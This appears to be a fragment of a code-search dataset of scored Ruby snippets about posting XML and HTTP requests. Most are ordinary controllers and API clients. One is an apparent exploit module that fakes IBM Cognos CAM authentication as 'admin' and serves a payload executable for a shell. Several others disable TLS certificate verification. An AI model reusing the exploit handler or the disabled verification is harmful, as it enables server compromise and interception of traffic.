"text": "def post_request(method)\n time = Time.now.to_i.to_s\n hash_method = method.split('&').first\n username = cookies.signed[:username].to_s\n password = cookies.signed[:pwd]\n hash = Digest::SHA1.hexdigest(password + time + hash_method)\n uri = URI.parse(\"https://staging.carnextdoor.com.au/webservices/index.php/WSUser/WSRest?action=\" + method + \"&user=\" + username + \"&hash=\" + hash + \"&time=\" + time + \"&billcode=mobile\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(uri.request_uri)\n\n response = http.request(request)\n hash = XmlSimple.xml_in(response.body, { 'KeyAttr' => 'name'})\n end",
"title": ""
},
{
"docid": "831c09dd5e41bf5f8c3d8b3e88ed56c9",
"score": "0.57172674",
"text": "def post(path:, body:)\n parse_response_body(\n super(\n path: path,\n body: Bambora::Builders::XMLRequestBody.new(body: body).to_s,\n headers: build_headers,\n ),\n )\n end",
"title": ""
},
{
"docid": "a1cfb97c36f1a1d34a742e2e74e359a5",
"score": "0.57019335",
"text": "def post(body)\n @connection = Faraday.new(@api_url) do |conn|\n conn.use FaradayMiddleware::Mashify\n conn.response :xml\n conn.basic_auth @token, 'X'\n conn.adapter Faraday.default_adapter\n end\n\n resp = @connection.post do |req|\n req.url '/api/2.1/xml-in'\n req.headers['Content-Type'] = 'application/xml'\n req.body = to_request(body)\n end\n\n body = resp.body.response\n if body.empty?\n resp.status\n else\n body\n end\n end",
"title": ""
},
{
"docid": "4f80df8a928d9868f04659f656a637f7",
"score": "0.56953955",
"text": "def post_xml(xml, body={})\n # Prepare the request\n url = URI.parse(\"#{self.class.base_uri}/ws/butler.do\")\n body[:xml] = UploadIO.new(StringIO.new(xml), 'text/xml', 'request.xml')\n body[:test] = true if @test\n request = Net::HTTP::Post::Multipart.new(url.path, body)\n request.basic_auth @auth[:username], @auth[:password]\n \n # Perform request\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n res = http.start{|http| http.request(request)}\n\n # Parse the response\n response = Response.new(request, res, lambda { Parser.new(res.body, :xml).parse })\n end",
"title": ""
},
{
"docid": "e6d8805076b4de0955d72730861836c9",
"score": "0.5694496",
"text": "def do_POST(request, response)\n content_type, params = parse_content_type(request)\n\n # In SOAP 1.1, the action is sent in the SOAPAction header. In\n # SOAP 1.2, it's sent as a parameter to the Content-Type header.\n # Savon sends SOAPAction (even though it's SOAP 1.2), so we need to\n # accept it. That's okay, because it appears Epic InterConnect\n # (WCF) also will accept the SOAP 1.1 method.\n namespaced_action_name = request['SOAPAction'] || params['action']\n action_name = namespaced_action_name.gsub('\"', '').split(':')[-1]\n\n action = @actions[action_name]\n\n if not action then\n # Unknown action; send back a 400\n response.status = 400\n\n else\n body = Nokogiri::XML(request.body)\n @received << body if @keep_received\n\n xml, status = action.call(body, response)\n\n response.status = status\n response['Content-Type'] = 'text/xml'\n response.body = xml\n end\n end",
"title": ""
},
{
"docid": "adbd4063f9795c23205a346f6dfd3f22",
"score": "0.56786215",
"text": "def post uri, args = {}; Request.new(POST, uri, args).execute; end",
"title": ""
},
{
"docid": "aaa7a94dcbd444789fe88352a4f07503",
"score": "0.5653979",
"text": "def post(request_xml)\n response = typhoeus_response(request_xml)\n if content_type = response.headers['Content-Type']\n response.body.force_encoding content_type[/charset=(.*)/, 1]\n end\n response\n end",
"title": ""
},
{
"docid": "3199172d4065b6003041cf7a5b6aad91",
"score": "0.5631011",
"text": "def post_expense_xml(xml)\n #request header bekommt Content-type = xml\n header \"Content-Type\", \"text/xml\" \n #expense daten werden alsl xml per Post request an den Server gesendet\n post '/expenses', xml\n #es wird erwartet das dies erfolgreich war\n expect(last_response.status).to eq(200)\n\n parsed = Ox.load(last_response.body, mode: :hash)\n expect(parsed).to include('expense_id' => a_kind_of(Integer))\n #adds an id key to the expense hash, containing the id from the database, after an expense is succesfully stored\n expense.merge('id' => parsed['expense_id'])\nend",
"title": ""
},
{
"docid": "4e425b24025f8e169f96ce59b7eb816f",
"score": "0.5630175",
"text": "def create\n @orc_ata_iten = OrcAtaIten.new(params[:orc_ata_iten])\n\n respond_to do |format|\n if @orc_ata_iten.save\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@orc_ata_iten) }\n format.xml { render :xml => @orc_ata_iten, :status => :created, :location => @orc_ata_iten }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @orc_ata_iten.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6bbbd80a31d000341482179d6c92328d",
"score": "0.562565",
"text": "def create\n recieve_xml\n end",
"title": ""
},
{
"docid": "e43c291043eb99bb3138d132092f7914",
"score": "0.5615487",
"text": "def xml_response\n source = open(\"https://serviceguide.megafonkavkaz.ru/ROBOTS/SC_TRAY_INFO?X_Username=#{self.phone}&X_Password=#{self.password}\")\n data = Nokogiri::XML(source)\n @subscribers = data.css(\"GET_SUBSCRIBERS MSISDN\").map {|node| node.children.text }\n @subscribers.each do |sub|\n Abonent.create!(:phone => sub, :corporation => self) if Abonent.find_by_phone(sub).nil?\n end\n self.update_attributes(:name => data.css(\"NAME\").first.text,:balance_megafon => data.css(\"BALANCE\").text, :rate_megafon => data.css(\"RATE_PLAN\").text, :number_count => @subscribers.count, :status => data.css(\"STATUS\").text)\n end",
"title": ""
},
{
"docid": "8bf3423feeaace06f39b51956f071878",
"score": "0.55778825",
"text": "def send_transaction\n body = build_xml_request\n\n headers = { }\n headers['Content-Length'] = body.size.to_s\n headers['User-Agent'] = \"Active Merchant -- http://activemerchant.org\"\n headers['Content-Type'] = 'application/x-www-form-urlencoded'\n\n # Return the raw response data\n ssl_post(Redsys.operations_url, \"entrada=\"+CGI.escape(body), headers)\n end",
"title": ""
},
{
"docid": "00e4e557e6056e853b7e5f85607178a6",
"score": "0.5570445",
"text": "def create\n @note = Note.new(params[:note])\n\n=begin\n $ curl -H 'Content-Type: application/xml' -X POST -d '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<note>\n <content>note from api 2</content>\n <course_id>2</course_id>\n <tag>api</tag>\n</note> http://notility.herokuapp.com/notes\n=end\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render json: @note, status: :created, location: @note }\n format.xml { render :xml => @note }\n else\n format.html { render action: \"new\" }\n format.xml { render :xml => \"Failed\"}\n flash[:notice] = \"Failed to save.\"\n end\n end\n end",
"title": ""
},
{
"docid": "3b456ab82c5642c2213bcf7214d1ced3",
"score": "0.5564967",
"text": "def create\n @almacenescierre = Almacenescierre.new(params[:almacenescierre])\n\n respond_to do |format|\n if @almacenescierre.save\n flash[:notice] = 'Almacenescierre was successfully created.'\n format.html { redirect_to(@almacenescierre) }\n format.xml { render :xml => @almacenescierre, :status => :created, :location => @almacenescierre }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @almacenescierre.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "12c3d731abb020aab76e6ebb346de449",
"score": "0.5551759",
"text": "def post(ns, params)\n @api.request(ns, method: :post, params: params)\n end",
"title": ""
},
{
"docid": "0785b4e144f990ee084740583f9f330b",
"score": "0.5545482",
"text": "def create_request\n\t\tTyphoeus::Request.new(\n\t \"https://api.kontakt.io/device\",\n\t method: :get,\n\t #body: xml_body,\n\t headers: {\n\t \"Accept\" => \"application/vnd.com.kontakt+json;version=10\",\n\t \"Api-Key\" => \"#{ENV[\"KONTAKT_API_KEY\"]}\",\n\t \"Content-Type\" => \"application/x-www-form-urlencoded\",\n\t \"User-Agent\" => \"beaconoid/1.0\"\n\t }\n\t )\n\n\tend",
"title": ""
},
{
"docid": "f95fa9163f49f1073d4bde913edfff2a",
"score": "0.5545031",
"text": "def send_transaction\n body = build_xml_request\n\n headers = { }\n headers['Content-Length'] = body.size.to_s\n headers['User-Agent'] = \"Active Merchant -- http://activemerchant.org\"\n headers['Content-Type'] = 'application/x-www-form-urlencoded'\n\n # Return the raw response data\n ssl_post(Sermepa.operations_url, \"entrada=\"+CGI.escape(body), headers)\n end",
"title": ""
},
{
"docid": "344f866b56c0ef9541fb58f6de2efbb2",
"score": "0.5531121",
"text": "def create_xmlrpc\n xml = request.body.read\n \n if(xml.empty?)\n error = 400\n return\n end\n \n # Parse xml\n method, arguments = XMLRPC::Marshal.load_call(xml)\n arg = arguments[0]\n response = create_report(arg)\n \n redirect_to retrieve_response_url(iform_xml_feed, :format => 'xml') \n end",
"title": ""
},
{
"docid": "c11b16b2f0e61872732a94f5ce2d6d88",
"score": "0.5525996",
"text": "def add_new_aluno(aluno)\n\tpost_response = eval(@agent.post(ALUNOS_URL))\nend",
"title": ""
},
{
"docid": "28447bc72b74c7503710e97fb190f19a",
"score": "0.55192554",
"text": "def xml_request\n @curl.headers['Accept'] = 'application/xml'\n @curl.headers['Content-Type'] = 'application/xml'\n end",
"title": ""
},
{
"docid": "276dad939783438257dbf3fa34421151",
"score": "0.5501514",
"text": "def request(body)\n real_class.post(base.url, :body => {:API => real_class.api, :XML => body})\n end",
"title": ""
},
{
"docid": "22091cad82356670102b374233d060ba",
"score": "0.5478824",
"text": "def post(path, params = {})\n path = \"/api#{self.version}#{path}\"\n @response = @access_token.post(path, params, { 'Accept'=>'application/xml', 'Content-Type' => 'application/xml' })\n result = Crack::XML.parse(@response.body)\n HashWithIndifferentAccess.new(result)\n end",
"title": ""
},
{
"docid": "a5d0c0a8d89b07c7bd7c5f7ed09b22e9",
"score": "0.5474384",
"text": "def create\n @edesal = Edesal.new(params[:edesal])\n\n respond_to do |format|\n if @edesal.save\n format.html { redirect_to(@edesal, :notice => 'Edesal was successfully created.') }\n format.xml { render :xml => @edesal, :status => :created, :location => @edesal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @edesal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1cf33a61b1585900ac001766ea661af4",
"score": "0.5472902",
"text": "def post!\n request = Net::HTTP::Post.new(uri)\n request.body = @params.to_json\n\n response = get_response(request)\n GunBroker::Response.new(response)\n end",
"title": ""
},
{
"docid": "36699270534b2a1f26241d190e731862",
"score": "0.5443114",
"text": "def on_request_uri(cli, request)\r\n xml_res = %{<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n <SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:ns1=\"http://developer.cognos.com/schemas/dataSourceCommandBlock/1/\" xmlns:bus=\"http://developer.cognos.com/schemas/bibus/3/\" xmlns:cm=\"http://developer.cognos.com/schemas/contentManagerService/1\" xmlns:ns10=\"http://developer.cognos.com/schemas/indexUpdateService/1\" xmlns:ns11=\"http://developer.cognos.com/schemas/jobService/1\" xmlns:ns12=\"http://developer.cognos.com/schemas/metadataService/1\" xmlns:ns13=\"http://developer.cognos.com/schemas/mobileService/1\" xmlns:ns14=\"http://developer.cognos.com/schemas/monitorService/1\" xmlns:ns15=\"http://developer.cognos.com/schemas/planningAdministrationConsoleService/1\" xmlns:ns16=\"http://developer.cognos.com/schemas/planningRuntimeService/1\" xmlns:ns17=\"http://developer.cognos.com/schemas/planningTaskService/1\" xmlns:ns18=\"http://developer.cognos.com/schemas/reportService/1\" xmlns:ns19=\"http://developer.cognos.com/schemas/systemService/1\" xmlns:ns2=\"http://developer.cognos.com/schemas/agentService/1\" xmlns:ns3=\"http://developer.cognos.com/schemas/batchReportService/1\" xmlns:ns4=\"http://developer.cognos.com/schemas/dataIntegrationService/1\" xmlns:ns5=\"http://developer.cognos.com/schemas/dataMovementService/1\" xmlns:ns6=\"http://developer.cognos.com/schemas/deliveryService/1\" xmlns:ns7=\"http://developer.cognos.com/schemas/dispatcher/1\" xmlns:ns8=\"http://developer.cognos.com/schemas/eventManagementService/1\" xmlns:ns9=\"http://developer.cognos.com/schemas/indexSearchService/1\">\r\n <SOAP-ENV:Body SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n <cm:queryResponse>\r\n <result baseClassArray xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"tns:baseClass[1]\">\r\n PLACEHOLDER\r\n </result>\r\n </cm:queryResponse>\r\n </SOAP-ENV:Body>\r\n </SOAP-ENV:Envelope>}\r\n\r\n session =\r\n %Q{ <item xsi:type=\"bus:session\">\r\n <identity>\r\n <value baseClassArray xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"tns:baseClass[1]\">\r\n <item xsi:type=\"bus:account\">\r\n <searchPath><value>admin</value></searchPath>\r\n </item>\r\n </value>\r\n </identity>\r\n </item>}\r\n\r\n account =\r\n %Q{ <item xsi:type=\"bus:account\">\r\n <defaultName><value>admin</value></defaultName>\r\n </item>}\r\n\r\n headers = { \"SOAPAction\" => '\"http://developer.cognos.com/schemas/contentManagerService/1\"'}\r\n if request.body.include? \"<searchPath>/</searchPath>\"\r\n print_good(\"CAM: Received first CAM query, responding with account info\")\r\n response = xml_res.sub('PLACEHOLDER', account)\r\n elsif request.body.include? \"<searchPath>~~</searchPath>\"\r\n print_good(\"CAM: Received second CAM query, responding with session info\")\r\n response = xml_res.sub('PLACEHOLDER', session)\r\n elsif request.body.include? \"<searchPath>admin</searchPath>\"\r\n print_good(\"CAM: Received third CAM query, responding with random garbage\")\r\n response = rand_text_alpha(5..12)\r\n elsif request.method == \"GET\"\r\n print_good(\"CAM: Received request for payload executable, shell incoming!\")\r\n response = @pl\r\n headers = { \"Content-Type\" => \"application/octet-stream\" }\r\n else\r\n response = ''\r\n print_error(\"CAM: received unknown request\")\r\n end\r\n send_response(cli, response, headers)\r\n end",
"title": ""
},
{
"docid": "3feac907a2d4afcc57a838d503277d92",
"score": "0.5436314",
"text": "def create\n @aclasificacion = Aclasificacion.new(params[:aclasificacion])\n\n respond_to do |format|\n if @aclasificacion.save\n format.html { redirect_to(@aclasificacion, :notice => 'Aclasificacion was successfully created.') }\n format.xml { render :xml => @aclasificacion, :status => :created, :location => @aclasificacion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @aclasificacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "059c7207af2fcbc5c0eddb034faafd34",
"score": "0.5417991",
"text": "def post_config!\n post path + \"/config.xml\", @config\n end",
"title": ""
},
{
"docid": "e5d4db12837ae6410d78c68205c18f48",
"score": "0.5414625",
"text": "def create\n \n require 'rc4'\n require 'nokogiri'\n \n decryptor = RC4.new(API_KEY)\n xml = decryptor.encrypt(CGI::unescape(params['FoxyData']))\n \n feed = Nokogiri::XML(xml)\n order_data = {}\n feed.xpath('.//transaction').each do |transaction|\n \n # PROCESS THE FEED AS YOU LIKE HERE\n#File.open(File.join(Rails.root, 'test.xml'), 'w') {|f| f.puts xml }\n order_data[:skills] = transaction.xpath('//customer_first_name').text \n order_data[:position] = transaction.xpath('//customer_last_name').text\n \n if Opening.create(order_data)\n print 'success'\n else\n print 'failure'\n end\n \n end\n \n render :text => 'foxy'\n \n rescue Exception=>e\n render :text => e.to_s\n \n end",
"title": ""
},
{
"docid": "c296dc1d26f80f6d3af111e2ce44a72e",
"score": "0.54095227",
"text": "def create\n cartridge = current_user.cartridges.build({\n name: params[:name],\n xml: params[:xml]\n })\n if cartridge.save\n render json: cartridge, status: 201\n else\n render json: { errors: cartridge.errors }, status: 422\n end\n end",
"title": ""
},
{
"docid": "aa703f7f8a9d3c9463ccfd324575c81f",
"score": "0.5403762",
"text": "def create\n @nsar = Nsar.new(params[:nsar])\n\n respond_to do |format|\n if @nsar.save\n format.html { redirect_to(nsars_path) }\n format.xml { render :xml => @nsar, :status => :created, :location => @nsar }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @nsar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ad6a3c794762b86075dc353515443de",
"score": "0.538939",
"text": "def create\nputs \"===============================> create<===================================================\"\n megam_rest.post_node(to_hash)\n end",
"title": ""
},
{
"docid": "ee65418d19e58d1dfbc13e5dc79b473d",
"score": "0.5368993",
"text": "def create\n @agronomiadecanato = Agronomiadecanato.new(params[:agronomiadecanato])\n\n respond_to do |format|\n if @agronomiadecanato.save\n format.html { redirect_to @agronomiadecanato, notice: 'Agronomiadecanato was successfully created.' }\n format.json { render json: @agronomiadecanato, status: :created, location: @agronomiadecanato }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agronomiadecanato.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d353a1cb081ba2dba7f966f70f2b1cfe",
"score": "0.536834",
"text": "def send_request\n\n # create the connection object\n uri = URI.parse \"#{MoovAtom::API_URL}/#{@action}.#{@format}\"\n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n # open the connection and send request\n http.start do |http|\n req = Net::HTTP::Post.new(uri.request_uri)\n req.set_form_data(all_attributes, '&')\n @response = http.request(req)\n end\n\n # parse the response if request was successful\n if @response.code == \"200\"\n case @format\n when \"json\"\n @response = JSON.parse @response.body\n when \"xml\"\n @response = REXML::Document.new @response.body\n end\n end\n\n end",
"title": ""
},
{
"docid": "48f27e270f0cde1962fabb810e538f35",
"score": "0.5366925",
"text": "def create\n @eedesal = Eedesal.new(params[:eedesal])\n\n respond_to do |format|\n if @eedesal.save\n format.html { redirect_to(@eedesal, :notice => 'Eedesal was successfully created.') }\n format.xml { render :xml => @eedesal, :status => :created, :location => @eedesal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @eedesal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74dc66a58eb7d0d9f52cff4bb2cdeb4e",
"score": "0.5366848",
"text": "def post(options)\n wesabe.post(options)\n end",
"title": ""
},
{
"docid": "2ab02907526d738c4dacf3205469e8a4",
"score": "0.5364022",
"text": "def do_post(host, port)\r\n\tverb = \"POST\"\r\n\treq_URI = \"/raiders\"\r\n\tversion = \"HTTP/1.1\"\r\n\traider = get_raider_info\r\n\trequest = \"#{verb} #{req_URI} #{version}\\r\\n\"\r\n\tresponse = post_request(host, port, request, raider)\r\nend",
"title": ""
},
{
"docid": "4f382773ce81799623f4baba7c4a98db",
"score": "0.53635067",
"text": "def post(url, request_xml)\n uri = URI(url)\n\n request = Net::HTTP::Post.new(uri)\n request.body = request_xml\n\n response = Net::HTTP.start(\n uri.hostname,\n uri.port,\n use_ssl: uri.scheme == 'https',\n # TODO MAKE THIS UNSUCK\n verify_mode: OpenSSL::SSL::VERIFY_NONE\n ) do |http|\n http.request(request)\n end\n\n response\n end",
"title": ""
},
{
"docid": "785956421c8979ca44608c3ed406638a",
"score": "0.5363429",
"text": "def create\n @donation = Donation.new(params[:donation])\n @donation.processed = false\n @charity = Charity.find(@donation.charity_id)\n\n if @donation.save\n #@base_url = root_url.to_s\n #@base_url.gsub!(\"http://\",\"\")\n #@base_url.gsub!(\"/\",\"\")\n #if (@base_url.include?\"localhost\") && (!@base_url.include?\"3000\")\n # @base_url = @base_url + \"%3A3000\"\n #end\n #@ret_url = \"http%3A%2F%2F\" + @base_url +\"%2Flist%2F\" + URI.escape(@charity.short_name) + \"%2Freturn%3Fdonation%3D\" + @donation.id.to_s\n #@url_to_donate = @charity.dts_url + \"&amt=\" + URI.escape(@donation.amount.to_s) + \"&fn=\" + URI.escape(@donation.fname) + \"&ln=\" + URI.escape(@donation.lname) + \"&s1=\" + URI.escape(@donation.street1) + \"&s2=\" + URI.escape(@donation.street2) + \"&c=\" + URI.escape(@donation.city) + \"&s=\" + URI.escape(@donation.state) + \"&z=\" + URI.escape(@donation.postal) + \"&e=\" + URI.escape(@donation.email) + \"&ret=\" + @ret_url\n #puts \"Donation URL: \" + @url_to_donate\n #redirect_to @url_to_donate\n \n #Send the user to the Click and Pledge Form as a Service\n url= URI.parse('https://paas.cloud.clickandpledge.com/PaymentService.svc?wsdl')\n puts \"%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\"\n puts \"Going to post to: #{url}\"\n request = Net::HTTP::Post.new(url.path)\n request.add_field 'Content-Type', 'application/xml'\n request.body = %Q{'<CnPAPI xmlns=\"urn:APISchema.xsd\">\n <Version>12</Version> \n <Engine>\n <Request>\n <Operation>\n <OperationType>Transaction</OperationType>\n <IPAddress>75.115.250.126</IPAddress>\n </Operation>\n <Authentication>\n <AccountGuid>064a1d2b-0743-457a-82d5-8b631697e5d6</AccountGuid>\n <AccountID>24767</AccountID>\n </Authentication>\n <Order>\n <OrderMode>Test</OrderMode>\n <CardHolder>\n <BillingInformation>\n <BillingFirstName>Arin</BillingFirstName>\n <BillingMI>W</BillingMI>\n <BillingLastName>Sime</BillingLastName>\n <BillingEmail>Arin@ArinSime.com</BillingEmail>\n <BillingPhone>123.456.7890</BillingPhone>\n </BillingInformation>\n <BillingAddress>\n <BillingAddress1>Post Office Box 1000</BillingAddress1>\n <BillingAddress2></BillingAddress2>\n <BillingAddress3></BillingAddress3>\n <BillingCity>Blacksburg</BillingCity>\n <BillingStateProvince>VA</BillingStateProvince>\n <BillingPostalCode>12346-4563</BillingPostalCode>\n <BillingCountryCode>840</BillingCountryCode>\n </BillingAddress>\n <PaymentMethod>\n <PaymentType>CreditCard</PaymentType>\n <CreditCard>\n <NameOnCard>Arin Sime</NameOnCard>\n <CardNumber>4111111111111111</CardNumber>\n <Cvv2>123</Cvv2>\n <ExpirationDate>04/15</ExpirationDate>\n </CreditCard>\n </PaymentMethod>\n </CardHolder>\n <OrderItemList>\n <OrderItem>\n <ItemID>1</ItemID>\n <ItemName>Donation</ItemName>\n <Quantity>1</Quantity>\n <UnitPrice>1000</UnitPrice>\n <UnitDeductible>1000</UnitDeductible>\n </OrderItem>\n </OrderItemList>\n <Receipt>\n \t\t \t\t\t<SendReceipt>true</SendReceipt>\n \t\t\t\t\t<WID>64906</WID> \n </Receipt>\n <Transaction>\n <TransactionType>Authorize</TransactionType>\n <CurrentTotals>\n <TotalDeductible>1000</TotalDeductible>\n <Total>1000</Total>\n </CurrentTotals>\n </Transaction>\n </Order>\n </Request>\n </Engine>\n </CnPAPI>'}\n puts \"XML to post:\"\n puts request.body\n response = Net::HTTP.start(url.host, url.port) {|http| http.request(request)}\n puts \"Response Received:\"\n puts response.inspect\n puts \"%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\"\n else\n render action: \"new\"\n #format.html { render action: \"new\" }\n #format.json { render json: @donation.errors, status: :unprocessable_entity }\n end\n end",
"title": ""
},
{
"docid": "f7d028bb8f5c4dce3953e768724506df",
"score": "0.5361014",
"text": "def create\n @aluno = Aluno.new(params[:aluno])\n\n respond_to do |format|\n if @aluno.save\n format.html { redirect_to(alunos_path, :notice => 'Registro foi gravado com sucesso!') }\n format.xml { render :xml => @aluno, :status => :created, :location => @aluno }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @aluno.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2e362d28a1981c21777c70c6dab7bb21",
"score": "0.5357735",
"text": "def retrieve_all_booking_details(xml_doc, property)\n bookings = xml_doc.xpath(\"//orbitz:HotelReservationSummary/orbitz:ConfirmID\", 'orbitz' => OrbitzChannel::XMLNS)\n booking_ids = Array.new\n bookings.each do |booking|\n booking_ids << booking[\"ID\"]\n end\n\n # build xml request\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.OTA_ReadRQ(:xmlns => OrbitzChannel::XMLNS) {\n OrbitzChannel.construct_auth_element(xml)\n xml.ReadRequests {\n booking_ids.each do |booking_id|\n xml.ReadRequest {\n xml.ConfirmID(:ID => booking_id, :Type => 'Orbitz')\n }\n end\n }\n }\n end\n\n request_xml = builder.to_xml\n response_xml = OrbitzChannel.post_xml(request_xml, OrbitzChannel::OTHER)\n puts response_xml\n\n Nokogiri::XML(response_xml)\n end",
"title": ""
},
{
"docid": "2ec6d383425818924e36407f7c79e996",
"score": "0.53545547",
"text": "def add(name, *args)\n# puts \"the home number is \" +args[0]\n home_number = args[0]\n office_number = args[1]\n options = {:body => {:card => \n { :name => name, \n :home_phone => home_number,\n :office_phone => office_number}}}\n self.class.post(\"/cards.xml\",options) #:action => \"create\"\n end",
"title": ""
},
{
"docid": "e51b570907cac2f4a7fffd22c0d9ede6",
"score": "0.5353398",
"text": "def reminder\n @postto = BASE_URL + '/directions'\n respond_to do |format|\n format.xml { @postto }\n end\n end",
"title": ""
},
{
"docid": "8606f54149dffcaeea6279c3d1b47167",
"score": "0.5343604",
"text": "def register opts={}\n\t\t\t# default values\n\t\t\topts[:sender_country] ||= \"056\"\n\n\t\t\t# check params\n\t\t\tCityboxApi.check_params [ :admission_code, :sender_code, :sender_contact_person, :sender_contact_phone, :take_up_date,\n\t\t\t\t\t\t\t\t\t :take_up_from_hour, :take_up_to_hour ], opts\n\n\t\t\t# format for date: aaaa-mm-dd\n\t\t\txml = \"<?xml version='1.0' encoding='utf-8'?>\n\t\t\t\t\t<soap:Envelope xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'>\n\t\t\t\t\t <soap:Body>\n\t\t\t\t\t <registrarRetiro xmlns='http://tempuri.org/'>\n\t\t\t\t\t <usuario>#{@user}</usuario>\n\t\t\t\t\t <contrasena>#{@password}</contrasena>\n\t\t\t\t\t <retiroTO>\n\t\t\t\t\t <ExtensionData />\n\t\t\t\t\t <CodigoAdmision>#{opts[:admission_code]}</CodigoAdmision>\n\t\t\t\t\t <ClienteRemitente>#{opts[:sender_code]}</ClienteRemitente>\n\t\t\t\t\t <CentroRemitente></CentroRemitente>\n\t\t\t\t\t <NombreRemitente>#{opts[:sender_name]}</NombreRemitente>\n\t\t\t\t\t <DireccionRemitente>#{opts[:sender_address]}</DireccionRemitente>\n\t\t\t\t\t <PaisRemitente>#{opts[:sender_country]}</PaisRemitente>\n\t\t\t\t\t <CodigoPostalRemitente>#{opts[:sender_postal_code]}</CodigoPostalRemitente>\n\t\t\t\t\t <ComunaRemitente>#{opts[:sender_commune]}</ComunaRemitente>\n\t\t\t\t\t <RutRemitente>#{opts[:sender_rut]}</RutRemitente>\n\t\t\t\t\t <PersonaContactoRemitente>#{opts[:sender_contact_person]}</PersonaContactoRemitente>\n\t\t\t\t\t <TelefonoContactoRemitente>#{opts[:sender_contact_phone]}</TelefonoContactoRemitente>\n\t\t\t\t\t <FechaRetiro>#{opts[:take_up_date]}</FechaRetiro>\n\t\t\t\t\t <HoraDesde>#{opts[:take_up_from_hour]}</HoraDesde>\n\t\t\t\t\t <HoraHasta>#{opts[:take_up_to_hour]}</HoraHasta>\n\t\t\t\t\t </retiroTO>\n\t\t\t\t\t </registrarRetiro>\n\t\t\t\t\t </soap:Body>\n\t\t\t\t\t</soap:Envelope>\"\n\n\t\t\tbegin\n\t\t\t\txml_response = RestClient.post @server_url, xml, content_type: \"text/xml\"\n\t\t\t\tjson_response = Crack::XML.parse(xml_response)\n\t\t\t\tjson_response[\"soap:Envelope\"][\"soap:Body\"][\"registrarRetiroResponse\"][\"registrarRetiroResult\"]\n\t\t\trescue => error\n\t\t\t\treturn CityboxApi.catch_error(error)\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "0df3fe5eb1b5cedd9a569d6aa5739182",
"score": "0.53372866",
"text": "def add_root_element\nputs \"Content-Type: text/xml\"\nputs # this is necessary\nputs '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\nputs '<OAI-PMH xmlns=\"http://www.openarchives.org/OAI/2.0/\" \n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://www.openarchives.org/OAI/2.0/\n http://www.openarchives.org/OAI/2.0/OAI-PMH.xsd\">'\ndatestamp = get_date \nputs \"<responseDate>#{datestamp}</responseDate>\"\nend",
"title": ""
},
{
"docid": "8d244c8e93c271a7e92ea1ee63d3dddc",
"score": "0.53358305",
"text": "def POST; end",
"title": ""
},
{
"docid": "8d244c8e93c271a7e92ea1ee63d3dddc",
"score": "0.53358305",
"text": "def POST; end",
"title": ""
},
{
"docid": "8d244c8e93c271a7e92ea1ee63d3dddc",
"score": "0.53358305",
"text": "def POST; end",
"title": ""
},
{
"docid": "8d244c8e93c271a7e92ea1ee63d3dddc",
"score": "0.53358305",
"text": "def POST; end",
"title": ""
},
{
"docid": "e6ee8d83e682d36c3adddc6122768054",
"score": "0.5320191",
"text": "def create\n @agua = Agua.new(params[:agua])\n\n respond_to do |format|\n if @agua.save\n flash[:notice] = 'Agua was successfully created.'\n format.html { redirect_to(@agua) }\n format.xml { render :xml => @agua, :status => :created, :location => @agua }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @agua.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "074b9ea0dbb9f5e44ba517acae9d4c00",
"score": "0.5318968",
"text": "def create\n @pia_ocotal = PiaOcotal.new(params[:pia_ocotal])\n\n respond_to do |format|\n if @pia_ocotal.save\n format.html { redirect_to(@pia_ocotal, :notice => 'PiaOcotal was successfully created.') }\n format.xml { render :xml => @pia_ocotal, :status => :created, :location => @pia_ocotal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pia_ocotal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
